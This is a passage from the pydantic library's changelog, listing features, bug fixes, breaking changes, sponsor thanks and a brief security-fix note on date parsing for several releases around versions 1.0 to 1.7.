    and `Config.arbitrary_types_allowed` is supported, [#2042](https://github.com/pydantic/pydantic/issues/2042) by [@PrettyWood](https://github.com/PrettyWood)



  Thank you to pydantic's sponsors:
  @timdrijvers, [@BCarley](https://github.com/BCarley), [@chdsbd](https://github.com/chdsbd), [@tiangolo](https://github.com/tiangolo), [@matin](https://github.com/matin), [@linusg](https://github.com/linusg), [@kevinalh](https://github.com/kevinalh), [@jorgecarleitao](https://github.com/jorgecarleitao), [@koxudaxi](https://github.com/koxudaxi), [@primer-api](https://github.com/primer-api)
  for their kind support.



  * Python 3.9 support, thanks [@PrettyWood](https://github.com/PrettyWood)
  * [Private model attributes](https://docs.pydantic.dev/usage/models/#private-model-attributes), thanks [@Bobronium](https://github.com/Bobronium)
  * ["secrets files" support in `BaseSettings`](https://docs.pydantic.dev/usage/settings/#secret-support), thanks [@mdgilene](https://github.com/mdgilene)
  * [convert stdlib dataclasses to pydantic dataclasses and use stdlib dataclasses in models](https://docs.pydantic.dev/usage/dataclasses/#stdlib-dataclasses-and-pydantic-dataclasses), thanks [@PrettyWood](https://github.com/PrettyWood)



  * **Breaking Change:** remove `__field_defaults__`, add `default_factory` support with `BaseModel.construct`.
    Use `.get_default()` method on fields in `__fields__` attribute instead, [#1732](https://github.com/pydantic/pydantic/issues/1732) by [@PrettyWood](https://github.com/PrettyWood)
  * Rearrange CI to run linting as a separate job, split install recipes for different tasks, [#2020](https://github.com/pydantic/pydantic/issues/2020) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Allows subclasses of generic models to make some, or all, of the superclass's type parameters concrete, while
    also defining new type parameters in the subclass, [#2005](https://github.com/pydantic/pydantic/issues/2005) by [@choogeboom](https://github.com/choogeboom)
  * Call validator with the correct `values` parameter type in `BaseModel.__setattr__`,
    when `validate_assignment = True` in model config, [#1999](https://github.com/pydantic/pydantic/issues/1999) by [@me-ransh](https://github.com/me-ransh)
  * Force `fields.Undefined` to be a singleton object, fixing inherited generic model schemas, [#1981](https://github.com/pydantic/pydantic/issues/1981) by [@daviskirk](https://github.com/daviskirk)
  * Include tests in source distributions, [#1976](https://github.com/pydantic/pydantic/issues/1976) by [@sbraz](https://github.com/sbraz)
  * Add ability to use `min_length/max_length` constraints with secret types, [#1974](https://github.com/pydantic/pydantic/issues/1974) by [@uriyyo](https://github.com/uriyyo)
  * Also check `root_validators` when `validate_assignment` is on, [#1971](https://github.com/pydantic/pydantic/issues/1971) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix const validators not running when custom validators are present, [#1957](https://github.com/pydantic/pydantic/issues/1957) by [@hmvp](https://github.com/hmvp)
  * add `deque` to field types, [#1935](https://github.com/pydantic/pydantic/issues/1935) by [@wozniakty](https://github.com/wozniakty)
  * add basic support for Python 3.9, [#1832](https://github.com/pydantic/pydantic/issues/1832) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix typo in the anchor of exporting_models.md#modelcopy and incorrect description, [#1821](https://github.com/pydantic/pydantic/issues/1821) by [@KimMachineGun](https://github.com/KimMachineGun)
  * Added ability for `BaseSettings` to read "secret files", [#1820](https://github.com/pydantic/pydantic/issues/1820) by [@mdgilene](https://github.com/mdgilene)
  * add `parse_raw_as` utility function, [#1812](https://github.com/pydantic/pydantic/issues/1812) by [@PrettyWood](https://github.com/PrettyWood)
  * Support home directory relative paths for `dotenv` files (e.g. `~/.env`), [#1803](https://github.com/pydantic/pydantic/issues/1803) by [@PrettyWood](https://github.com/PrettyWood)
  * Clarify documentation for `parse_file` to show that the argument
    should be a file *path* not a file-like object, [#1794](https://github.com/pydantic/pydantic/issues/1794) by [@mdavis-xyz](https://github.com/mdavis-xyz)
  * Fix false positive from mypy plugin when a class nested within a `BaseModel` is named `Model`, [#1770](https://github.com/pydantic/pydantic/issues/1770) by [@selimb](https://github.com/selimb)
  * add basic support of Pattern type in schema generation, [#1767](https://github.com/pydantic/pydantic/issues/1767) by [@PrettyWood](https://github.com/PrettyWood)
  * Support custom title, description and default in schema of enums, [#1748](https://github.com/pydantic/pydantic/issues/1748) by [@PrettyWood](https://github.com/PrettyWood)
  * Properly represent `Literal` Enums when `use_enum_values` is True, [#1747](https://github.com/pydantic/pydantic/issues/1747) by [@noelevans](https://github.com/noelevans)
  * Allows timezone information to be added to strings to be formatted as time objects. Permitted formats are `Z` for UTC
    or an offset for absolute positive or negative time shifts. Or the timezone data can be omitted, [#1744](https://github.com/pydantic/pydantic/issues/1744) by [@noelevans](https://github.com/noelevans)
  * Add stub `__init__` with Python 3.6 signature for `ForwardRef`, [#1738](https://github.com/pydantic/pydantic/issues/1738) by [@sirtelemak](https://github.com/sirtelemak)
  * Fix behaviour with forward refs and optional fields in nested models, [#1736](https://github.com/pydantic/pydantic/issues/1736) by [@PrettyWood](https://github.com/PrettyWood)
  * add `Enum` and `IntEnum` as valid types for fields, [#1735](https://github.com/pydantic/pydantic/issues/1735) by [@PrettyWood](https://github.com/PrettyWood)
  * Change default value of `__module__` argument of `create_model` from `None` to `'pydantic.main'`.
    Set reference of created concrete model to it's module to allow pickling (not applied to models created in
    functions), [#1686](https://github.com/pydantic/pydantic/issues/1686) by [@Bobronium](https://github.com/Bobronium)
  * Add private attributes support, [#1679](https://github.com/pydantic/pydantic/issues/1679) by [@Bobronium](https://github.com/Bobronium)
  * add `config` to `@validate_arguments`, [#1663](https://github.com/pydantic/pydantic/issues/1663) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Allow descendant Settings models to override env variable names for the fields defined in parent Settings models with
    `env` in their `Config`. Previously only `env_prefix` configuration option was applicable, [#1561](https://github.com/pydantic/pydantic/issues/1561) by [@ojomio](https://github.com/ojomio)
  * Support `ref_template` when creating schema `$ref`s, [#1479](https://github.com/pydantic/pydantic/issues/1479) by [@kilo59](https://github.com/kilo59)
  * Add a `__call__` stub to `PyObject` so that mypy will know that it is callable, [#1352](https://github.com/pydantic/pydantic/issues/1352) by [@brianmaissy](https://github.com/brianmaissy)
  * `pydantic.dataclasses.dataclass` decorator now supports built-in `dataclasses.dataclass`.
    It is hence possible to convert an existing `dataclass` easily to add *pydantic* validation.
    Moreover nested dataclasses are also supported, [#744](https://github.com/pydantic/pydantic/issues/744) by [@PrettyWood](https://github.com/PrettyWood)



  * **Security fix:** Fix `date` and `datetime` parsing so passing either `'infinity'` or `float('inf')`
    (or their negative values) does not cause an infinite loop,
    See security advisory [CVE-2021-29510](https://github.com/pydantic/pydantic/security/advisories/GHSA-5jqp-qgf6-3pvh)



  * fix validation and parsing of nested models with `default_factory`, [#1710](https://github.com/pydantic/pydantic/issues/1710) by [@PrettyWood](https://github.com/PrettyWood)



  Thank you to pydantic's sponsors: [@matin](https://github.com/matin), [@tiangolo](https://github.com/tiangolo), [@chdsbd](https://github.com/chdsbd), [@jorgecarleitao](https://github.com/jorgecarleitao), and 1 anonymous sponsor for their kind support.

  * Modify validators for `conlist` and `conset` to not have `always=True`, [#1682](https://github.com/pydantic/pydantic/issues/1682) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add port check to `AnyUrl` (can't exceed 65536) ports are 16 insigned bits: `0 <= port <= 2**16-1` src: [rfc793 header format](https://tools.ietf.org/html/rfc793#section-3.1), [#1654](https://github.com/pydantic/pydantic/issues/1654) by [@flapili](https://github.com/flapili)
  * Document default `regex` anchoring semantics, [#1648](https://github.com/pydantic/pydantic/issues/1648) by [@yurikhan](https://github.com/yurikhan)
  * Use `chain.from_iterable` in class_validators.py. This is a faster and more idiomatic way of using `itertools.chain`.
    Instead of computing all the items in the iterable and storing them in memory, they are computed one-by-one and never
    stored as a huge list. This can save on both runtime and memory space, [#1642](https://github.com/pydantic/pydantic/issues/1642) by [@cool-RR](https://github.com/cool-RR)
  * Add `conset()`, analogous to `conlist()`, [#1623](https://github.com/pydantic/pydantic/issues/1623) by [@patrickkwang](https://github.com/patrickkwang)
  * make *pydantic* errors (un)pickable, [#1616](https://github.com/pydantic/pydantic/issues/1616) by [@PrettyWood](https://github.com/PrettyWood)
  * Allow custom encoding for `dotenv` files, [#1615](https://github.com/pydantic/pydantic/issues/1615) by [@PrettyWood](https://github.com/PrettyWood)
  * Ensure `SchemaExtraCallable` is always defined to get type hints on BaseConfig, [#1614](https://github.com/pydantic/pydantic/issues/1614) by [@PrettyWood](https://github.com/PrettyWood)
  * Update datetime parser to support negative timestamps, [#1600](https://github.com/pydantic/pydantic/issues/1600) by [@mlbiche](https://github.com/mlbiche)
  * Update mypy, remove `AnyType` alias for `Type[Any]`, [#1598](https://github.com/pydantic/pydantic/issues/1598) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Adjust handling of root validators so that errors are aggregated from _all_ failing root validators, instead of reporting on only the first root validator to fail, [#1586](https://github.com/pydantic/pydantic/issues/1586) by [@beezee](https://github.com/beezee)
  * Make `__modify_schema__` on Enums apply to the enum schema rather than fields that use the enum, [#1581](https://github.com/pydantic/pydantic/issues/1581) by [@therefromhere](https://github.com/therefromhere)
  * Fix behavior of `__all__` key when used in conjunction with index keys in advanced include/exclude of fields that are sequences, [#1579](https://github.com/pydantic/pydantic/issues/1579) by [@xspirus](https://github.com/xspirus)
  * Subclass validators do not run when referencing a `List` field defined in a parent class when `each_item=True`. Added an example to the docs illustrating this, [#1566](https://github.com/pydantic/pydantic/issues/1566) by [@samueldeklund](https://github.com/samueldeklund)
  * change `schema.field_class_to_schema` to support `frozenset` in schema, [#1557](https://github.com/pydantic/pydantic/issues/1557) by [@wangpeibao](https://github.com/wangpeibao)
  * Call `__modify_schema__` only for the field schema, [#1552](https://github.com/pydantic/pydantic/issues/1552) by [@PrettyWood](https://github.com/PrettyWood)
  * Move the assignment of `field.validate_always` in `fields.py` so the `always` parameter of validators work on inheritance, [#1545](https://github.com/pydantic/pydantic/issues/1545) by [@dcHHH](https://github.com/dcHHH)
  * Added support for UUID instantiation through 16 byte strings such as `b'\x12\x34\x56\x78' * 4`. This was done to support `BINARY(16)` columns in sqlalchemy, [#1541](https://github.com/pydantic/pydantic/issues/1541) by [@shawnwall](https://github.com/shawnwall)
  * Add a test assertion that `default_factory` can return a singleton, [#1523](https://github.com/pydantic/pydantic/issues/1523) by [@therefromhere](https://github.com/therefromhere)
  * Add `NameEmail.__eq__` so duplicate `NameEmail` instances are evaluated as equal, [#1514](https://github.com/pydantic/pydantic/issues/1514) by [@stephen-bunn](https://github.com/stephen-bunn)
  * Add datamodel-code-generator link in pydantic document site, [#1500](https://github.com/pydantic/pydantic/issues/1500) by [@koxudaxi](https://github.com/koxudaxi)
  * Added a "Discussion of Pydantic" section to the documentation, with a link to "Pydantic Introduction" video by Alexander Hultnér, [#1499](https://github.com/pydantic/pydantic/issues/1499) by [@hultner](https://github.com/hultner)
  * Avoid some side effects of `default_factory` by calling it only once
    if possible and by not setting a default value in the schema, [#1491](https://github.com/pydantic/pydantic/issues/1491) by [@PrettyWood](https://github.com/PrettyWood)
  * Added docs about dumping dataclasses to JSON, [#1487](https://github.com/pydantic/pydantic/issues/1487) by [@mikegrima](https://github.com/mikegrima)
  * Make `BaseModel.__signature__` class-only, so getting `__signature__` from model instance will raise `AttributeError`, [#1466](https://github.com/pydantic/pydantic/issues/1466) by [@Bobronium](https://github.com/Bobronium)
  * include `'format': 'password'` in the schema for secret types, [#1424](https://github.com/pydantic/pydantic/issues/1424) by [@atheuz](https://github.com/atheuz)
  * Modify schema constraints on `ConstrainedFloat` so that `exclusiveMinimum` and
    minimum are not included in the schema if they are equal to `-math.inf` and
    `exclusiveMaximum` and `maximum` are not included if they are equal to `math.inf`, [#1417](https://github.com/pydantic/pydantic/issues/1417) by [@vdwees](https://github.com/vdwees)
  * Squash internal `__root__` dicts in `.dict()` (and, by extension, in `.json()`), [#1414](https://github.com/pydantic/pydantic/issues/1414) by [@patrickkwang](https://github.com/patrickkwang)
  * Move `const` validator to post-validators so it validates the parsed value, [#1410](https://github.com/pydantic/pydantic/issues/1410) by [@selimb](https://github.com/selimb)
  * Fix model validation to handle nested literals, e.g. `Literal['foo', Literal['bar']]`, [#1364](https://github.com/pydantic/pydantic/issues/1364) by [@DBCerigo](https://github.com/DBCerigo)
  * Remove `user_required = True` from `RedisDsn`, neither user nor password are required, [#1275](https://github.com/pydantic/pydantic/issues/1275) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Remove extra `allOf` from schema for fields with `Union` and custom `Field`, [#1209](https://github.com/pydantic/pydantic/issues/1209) by [@mostaphaRoudsari](https://github.com/mostaphaRoudsari)
  * Updates OpenAPI schema generation to output all enums as separate models.
    Instead of inlining the enum values in the model schema, models now use a `$ref`
    property to point to the enum definition, [#1173](https://github.com/pydantic/pydantic/issues/1173) by [@calvinwyoung](https://github.com/calvinwyoung)



  * Signature generation with `extra: allow` never uses a field name, [#1418](https://github.com/pydantic/pydantic/issues/1418) by [@prettywood](https://github.com/prettywood)
  * Avoid mutating `Field` default value, [#1412](https://github.com/pydantic/pydantic/issues/1412) by [@prettywood](https://github.com/prettywood)



  * Make includes/excludes arguments for `.dict()`, `._iter()`, ..., immutable, [#1404](https://github.com/pydantic/pydantic/issues/1404) by [@AlexECX](https://github.com/AlexECX)
  * Always use a field's real name with includes/excludes in `model._iter()`, regardless of `by_alias`, [#1397](https://github.com/pydantic/pydantic/issues/1397) by [@AlexECX](https://github.com/AlexECX)
  * Update constr regex example to include start and end lines, [#1396](https://github.com/pydantic/pydantic/issues/1396) by [@lmcnearney](https://github.com/lmcnearney)
  * Confirm that shallow `model.copy()` does make a shallow copy of attributes, [#1383](https://github.com/pydantic/pydantic/issues/1383) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Renaming `model_name` argument of `main.create_model()` to `__model_name` to allow using `model_name` as a field name, [#1367](https://github.com/pydantic/pydantic/issues/1367) by [@kittipatv](https://github.com/kittipatv)
  * Replace raising of exception to silent passing  for non-Var attributes in mypy plugin, [#1345](https://github.com/pydantic/pydantic/issues/1345) by [@b0g3r](https://github.com/b0g3r)
  * Remove `typing_extensions` dependency for Python 3.8, [#1342](https://github.com/pydantic/pydantic/issues/1342) by [@prettywood](https://github.com/prettywood)
  * Make `SecretStr` and `SecretBytes` initialization idempotent, [#1330](https://github.com/pydantic/pydantic/issues/1330) by [@atheuz](https://github.com/atheuz)
  * document making secret types dumpable using the json method, [#1328](https://github.com/pydantic/pydantic/issues/1328) by [@atheuz](https://github.com/atheuz)
  * Move all testing and build to github actions, add windows and macos binaries,
    thank you [@StephenBrown2](https://github.com/StephenBrown2) for much help, [#1326](https://github.com/pydantic/pydantic/issues/1326) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix card number length check in `PaymentCardNumber`, `PaymentCardBrand` now inherits from `str`, [#1317](https://github.com/pydantic/pydantic/issues/1317) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Have `BaseModel` inherit from `Representation` to make mypy happy when overriding `__str__`, [#1310](https://github.com/pydantic/pydantic/issues/1310) by [@FuegoFro](https://github.com/FuegoFro)
  * Allow `None` as input to all optional list fields, [#1307](https://github.com/pydantic/pydantic/issues/1307) by [@prettywood](https://github.com/prettywood)
  * Add `datetime` field to `default_factory` example, [#1301](https://github.com/pydantic/pydantic/issues/1301) by [@StephenBrown2](https://github.com/StephenBrown2)
  * Allow subclasses of known types to be encoded with superclass encoder, [#1291](https://github.com/pydantic/pydantic/issues/1291) by [@StephenBrown2](https://github.com/StephenBrown2)
  * Exclude exported fields from all elements of a list/tuple of submodels/dicts with `'__all__'`, [#1286](https://github.com/pydantic/pydantic/issues/1286) by [@masalim2](https://github.com/masalim2)
  * Add pydantic.color.Color objects as available input for Color fields, [#1258](https://github.com/pydantic/pydantic/issues/1258) by [@leosussan](https://github.com/leosussan)
  * In examples, type nullable fields as `Optional`, so that these are valid mypy annotations, [#1248](https://github.com/pydantic/pydantic/issues/1248) by [@kokes](https://github.com/kokes)
  * Make `pattern_validator()` accept pre-compiled `Pattern` objects. Fix `str_validator()` return type to `str`, [#1237](https://github.com/pydantic/pydantic/issues/1237) by [@adamgreg](https://github.com/adamgreg)
  * Document how to manage Generics and inheritance, [#1229](https://github.com/pydantic/pydantic/issues/1229) by [@esadruhn](https://github.com/esadruhn)
  * `update_forward_refs()` method of BaseModel now copies `__dict__` of class module instead of modyfying it, [#1228](https://github.com/pydantic/pydantic/issues/1228) by [@paul-ilyin](https://github.com/paul-ilyin)
  * Support instance methods and class methods with `@validate_arguments`, [#1222](https://github.com/pydantic/pydantic/issues/1222) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add `default_factory` argument to `Field` to create a dynamic default value by passing a zero-argument callable, [#1210](https://github.com/pydantic/pydantic/issues/1210) by [@prettywood](https://github.com/prettywood)
  * add support for `NewType` of `List`, `Optional`, etc, [#1207](https://github.com/pydantic/pydantic/issues/1207) by [@Kazy](https://github.com/Kazy)
  * fix mypy signature for `root_validator`, [#1192](https://github.com/pydantic/pydantic/issues/1192) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fixed parsing of nested 'custom root type' models, [#1190](https://github.com/pydantic/pydantic/issues/1190) by [@Shados](https://github.com/Shados)
  * Add `validate_arguments` function decorator which checks the arguments to a function matches type annotations, [#1179](https://github.com/pydantic/pydantic/issues/1179) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add `__signature__` to models, [#1034](https://github.com/pydantic/pydantic/issues/1034) by [@Bobronium](https://github.com/Bobronium)
  * Refactor `._iter()` method, 10x speed boost for `dict(model)`, [#1017](https://github.com/pydantic/pydantic/issues/1017) by [@Bobronium](https://github.com/Bobronium)



  * **Breaking Change:** alias precedence logic changed so aliases on a field always take priority over
    an alias from `alias_generator` to avoid buggy/unexpected behaviour,
    see [here](https://docs.pydantic.dev/usage/model_config/#alias-precedence) for details, [#1178](https://github.com/pydantic/pydantic/issues/1178) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add support for unicode and punycode in TLDs, [#1182](https://github.com/pydantic/pydantic/issues/1182) by [@jamescurtin](https://github.com/jamescurtin)
  * Fix `cls` argument in validators during assignment, [#1172](https://github.com/pydantic/pydantic/issues/1172) by [@samuelcolvin](https://github.com/samuelcolvin)
  * completing Luhn algorithm for `PaymentCardNumber`, [#1166](https://github.com/pydantic/pydantic/issues/1166) by [@cuencandres](https://github.com/cuencandres)
  * add support for generics that implement `__get_validators__` like a custom data type, [#1159](https://github.com/pydantic/pydantic/issues/1159) by [@tiangolo](https://github.com/tiangolo)
  * add support for infinite generators with `Iterable`, [#1152](https://github.com/pydantic/pydantic/issues/1152) by [@tiangolo](https://github.com/tiangolo)
  * fix `url_regex` to accept schemas with `+`, `-` and `.` after the first character, [#1142](https://github.com/pydantic/pydantic/issues/1142) by [@samuelcolvin](https://github.com/samuelcolvin)
  * move `version_info()` to `version.py`, suggest its use in issues, [#1138](https://github.com/pydantic/pydantic/issues/1138) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Improve pydantic import time by roughly 50% by deferring some module loading and regex compilation, [#1127](https://github.com/pydantic/pydantic/issues/1127) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix `EmailStr` and `NameEmail` to accept instances of themselves in cython, [#1126](https://github.com/pydantic/pydantic/issues/1126) by [@koxudaxi](https://github.com/koxudaxi)
  * Pass model class to the `Config.schema_extra` callable, [#1125](https://github.com/pydantic/pydantic/issues/1125) by [@therefromhere](https://github.com/therefromhere)
  * Fix regex for username and password in URLs, [#1115](https://github.com/pydantic/pydantic/issues/1115) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add support for nested generic models, [#1104](https://github.com/pydantic/pydantic/issues/1104) by [@dmontagu](https://github.com/dmontagu)
  * add `__all__` to `__init__.py` to prevent "implicit reexport" errors from mypy, [#1072](https://github.com/pydantic/pydantic/issues/1072) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add support for using "dotenv" files with `BaseSettings`, [#1011](https://github.com/pydantic/pydantic/issues/1011) by [@acnebs](https://github.com/acnebs)



  * Change `schema` and `schema_model` to handle dataclasses by using their `__pydantic_model__` feature, [#792](https://github.com/pydantic/pydantic/issues/792) by [@aviramha](https://github.com/aviramha)
  * Added option for `root_validator` to be skipped if values validation fails using keyword `skip_on_failure=True`, [#1049](https://github.com/pydantic/pydantic/issues/1049) by [@aviramha](https://github.com/aviramha)
  * Allow `Config.schema_extra` to be a callable so that the generated schema can be post-processed, [#1054](https://github.com/pydantic/pydantic/issues/1054) by [@selimb](https://github.com/selimb)
  * Update mypy to version 0.750, [#1057](https://github.com/pydantic/pydantic/issues/1057) by [@dmontagu](https://github.com/dmontagu)
  * Trick Cython into allowing str subclassing, [#1061](https://github.com/pydantic/pydantic/issues/1061) by [@skewty](https://github.com/skewty)
  * Prevent type attributes being added to schema unless the attribute `__schema_attributes__` is `True`, [#1064](https://github.com/pydantic/pydantic/issues/1064) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Change `BaseModel.parse_file` to use `Config.json_loads`, [#1067](https://github.com/pydantic/pydantic/issues/1067) by [@kierandarcy](https://github.com/kierandarcy)
  * Fix for optional `Json` fields, [#1073](https://github.com/pydantic/pydantic/issues/1073) by [@volker48](https://github.com/volker48)
  * Change the default number of threads used when compiling with cython to one,
    allow override via the `CYTHON_NTHREADS` environment variable, [#1074](https://github.com/pydantic/pydantic/issues/1074) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Run FastAPI tests during Pydantic's CI tests, [#1075](https://github.com/pydantic/pydantic/issues/1075) by [@tiangolo](https://github.com/tiangolo)
  * My mypy strictness constraints, and associated tweaks to type annotations, [#1077](https://github.com/pydantic/pydantic/issues/1077) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add `__eq__` to SecretStr and SecretBytes to allow "value equals", [#1079](https://github.com/pydantic/pydantic/issues/1079) by [@sbv-trueenergy](https://github.com/sbv-trueenergy)
  * Fix schema generation for nested None case, [#1088](https://github.com/pydantic/pydantic/issues/1088) by [@lutostag](https://github.com/lutostag)
  * Consistent checks for sequence like objects, [#1090](https://github.com/pydantic/pydantic/issues/1090) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix `Config` inheritance on `BaseSettings` when used with `env_prefix`, [#1091](https://github.com/pydantic/pydantic/issues/1091) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix for `__modify_schema__` when it conflicted with `field_class_to_schema*`, [#1102](https://github.com/pydantic/pydantic/issues/1102) by [@samuelcolvin](https://github.com/samuelcolvin)
  * docs: Fix explanation of case sensitive environment variable names when populating `BaseSettings` subclass attributes, [#1105](https://github.com/pydantic/pydantic/issues/1105) by [@tribals](https://github.com/tribals)
  * Rename django-rest-framework benchmark in documentation, [#1119](https://github.com/pydantic/pydantic/issues/1119) by [@frankie567](https://github.com/frankie567)



  * **Possible Breaking Change:** Add support for required `Optional` with `name: Optional[AnyType] = Field(...)`
    and refactor `ModelField` creation to preserve `required` parameter value, [#1031](https://github.com/pydantic/pydantic/issues/1031) by [@tiangolo](https://github.com/tiangolo);
    see [here](https://docs.pydantic.dev/usage/models/#required-optional-fields) for details
  * Add benchmarks for `cattrs`, [#513](https://github.com/pydantic/pydantic/issues/513) by [@sebastianmika](https://github.com/sebastianmika)
  * Add `exclude_none` option to `dict()` and friends, [#587](https://github.com/pydantic/pydantic/issues/587) by [@niknetniko](https://github.com/niknetniko)
  * Add benchmarks for `valideer`, [#670](https://github.com/pydantic/pydantic/issues/670) by [@gsakkis](https://github.com/gsakkis)
  * Add `parse_obj_as` and `parse_file_as` functions for ad-hoc parsing of data into arbitrary pydantic-compatible types, [#934](https://github.com/pydantic/pydantic/issues/934) by [@dmontagu](https://github.com/dmontagu)
  * Add `allow_reuse` argument to validators, thus allowing validator reuse, [#940](https://github.com/pydantic/pydantic/issues/940) by [@dmontagu](https://github.com/dmontagu)
  * Add support for mapping types for custom root models, [#958](https://github.com/pydantic/pydantic/issues/958) by [@dmontagu](https://github.com/dmontagu)
  * Mypy plugin support for dataclasses, [#966](https://github.com/pydantic/pydantic/issues/966) by [@koxudaxi](https://github.com/koxudaxi)
  * Add support for dataclasses default factory, [#968](https://github.com/pydantic/pydantic/issues/968) by [@ahirner](https://github.com/ahirner)
  * Add a `ByteSize` type for converting byte string (`1GB`) to plain bytes, [#977](https://github.com/pydantic/pydantic/issues/977) by [@dgasmith](https://github.com/dgasmith)
  * Fix mypy complaint about `@root_validator(pre=True)`, [#984](https://github.com/pydantic/pydantic/issues/984) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add manylinux binaries for Python 3.8 to pypi, also support manylinux2010, [#994](https://github.com/pydantic/pydantic/issues/994) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Adds ByteSize conversion to another unit, [#995](https://github.com/pydantic/pydantic/issues/995) by [@dgasmith](https://github.com/dgasmith)
  * Fix `__str__` and `__repr__` inheritance for models, [#1022](https://github.com/pydantic/pydantic/issues/1022) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add testimonials section to docs, [#1025](https://github.com/pydantic/pydantic/issues/1025) by [@sullivancolin](https://github.com/sullivancolin)
  * Add support for `typing.Literal` for Python 3.8, [#1026](https://github.com/pydantic/pydantic/issues/1026) by [@dmontagu](https://github.com/dmontagu)



  * Fix bug where use of complex fields on sub-models could cause fields to be incorrectly configured, [#1015](https://github.com/pydantic/pydantic/issues/1015) by [@samuelcolvin](https://github.com/samuelcolvin)



  * Add a mypy plugin for type checking `BaseModel.__init__` and more, [#722](https://github.com/pydantic/pydantic/issues/722) by [@dmontagu](https://github.com/dmontagu)
  * Change return type typehint for `GenericModel.__class_getitem__` to prevent PyCharm warnings, [#936](https://github.com/pydantic/pydantic/issues/936) by [@dmontagu](https://github.com/dmontagu)
  * Fix usage of `Any` to allow `None`, also support `TypeVar` thus allowing use of un-parameterised collection types
    e.g. `Dict` and `List`, [#962](https://github.com/pydantic/pydantic/issues/962) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Set `FieldInfo` on subfields to fix schema generation for complex nested types, [#965](https://github.com/pydantic/pydantic/issues/965) by [@samuelcolvin](https://github.com/samuelcolvin)



  * **Breaking Change:** deprecate the `Model.fields` property, use `Model.__fields__` instead, [#883](https://github.com/pydantic/pydantic/issues/883) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change:** Change the precedence of aliases so child model aliases override parent aliases,
    including using `alias_generator`, [#904](https://github.com/pydantic/pydantic/issues/904) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking change:** Rename `skip_defaults` to `exclude_unset`, and add ability to exclude actual defaults, [#915](https://github.com/pydantic/pydantic/issues/915) by [@dmontagu](https://github.com/dmontagu)
  * Add `**kwargs` to `pydantic.main.ModelMetaclass.__new__` so `__init_subclass__` can take custom parameters on extended
    `BaseModel` classes, [#867](https://github.com/pydantic/pydantic/issues/867) by [@retnikt](https://github.com/retnikt)
  * Fix field of a type that has a default value, [#880](https://github.com/pydantic/pydantic/issues/880) by [@koxudaxi](https://github.com/koxudaxi)
  * Use `FutureWarning` instead of `DeprecationWarning` when `alias` instead of `env` is used for settings models, [#881](https://github.com/pydantic/pydantic/issues/881) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix issue with `BaseSettings` inheritance and `alias` getting set to `None`, [#882](https://github.com/pydantic/pydantic/issues/882) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Modify `__repr__` and `__str__` methods to be consistent across all public classes, add `__pretty__` to support
    python-devtools, [#884](https://github.com/pydantic/pydantic/issues/884) by [@samuelcolvin](https://github.com/samuelcolvin)
  * deprecation warning for `case_insensitive` on `BaseSettings` config, [#885](https://github.com/pydantic/pydantic/issues/885) by [@samuelcolvin](https://github.com/samuelcolvin)
  * For `BaseSettings` merge environment variables and in-code values recursively, as long as they create a valid object
    when merged together, to allow splitting init arguments, [#888](https://github.com/pydantic/pydantic/issues/888) by [@idmitrievsky](https://github.com/idmitrievsky)
  * change secret types example, [#890](https://github.com/pydantic/pydantic/issues/890) by [@ashears](https://github.com/ashears)
  * Change the signature of `Model.construct()` to be more user-friendly, document `construct()` usage, [#898](https://github.com/pydantic/pydantic/issues/898) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add example for the `construct()` method, [#907](https://github.com/pydantic/pydantic/issues/907) by [@ashears](https://github.com/ashears)
  * Improve use of `Field` constraints on complex types, raise an error if constraints are not enforceable,
    also support tuples with an ellipsis `Tuple[X, ...]`, `Sequence` and `FrozenSet` in schema, [#909](https://github.com/pydantic/pydantic/issues/909) by [@samuelcolvin](https://github.com/samuelcolvin)
  * update docs for bool missing valid value, [#911](https://github.com/pydantic/pydantic/issues/911) by [@trim21](https://github.com/trim21)
  * Better `str`/`repr` logic for `ModelField`, [#912](https://github.com/pydantic/pydantic/issues/912) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix `ConstrainedList`, update schema generation to reflect `min_items` and `max_items` `Field()` arguments, [#917](https://github.com/pydantic/pydantic/issues/917) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Allow abstracts sets (eg. dict keys) in the `include` and `exclude` arguments of `dict()`, [#921](https://github.com/pydantic/pydantic/issues/921) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix JSON serialization errors on `ValidationError.json()` by using `pydantic_encoder`, [#922](https://github.com/pydantic/pydantic/issues/922) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Clarify usage of `remove_untouched`, improve error message for types with no validators, [#926](https://github.com/pydantic/pydantic/issues/926) by [@retnikt](https://github.com/retnikt)



  * Mark `StrictBool` typecheck as `bool` to allow for default values without mypy errors, [#690](https://github.com/pydantic/pydantic/issues/690) by [@dmontagu](https://github.com/dmontagu)
  * Transfer the documentation build from sphinx to mkdocs, re-write much of the documentation, [#856](https://github.com/pydantic/pydantic/issues/856) by [@samuelcolvin](https://github.com/samuelcolvin)
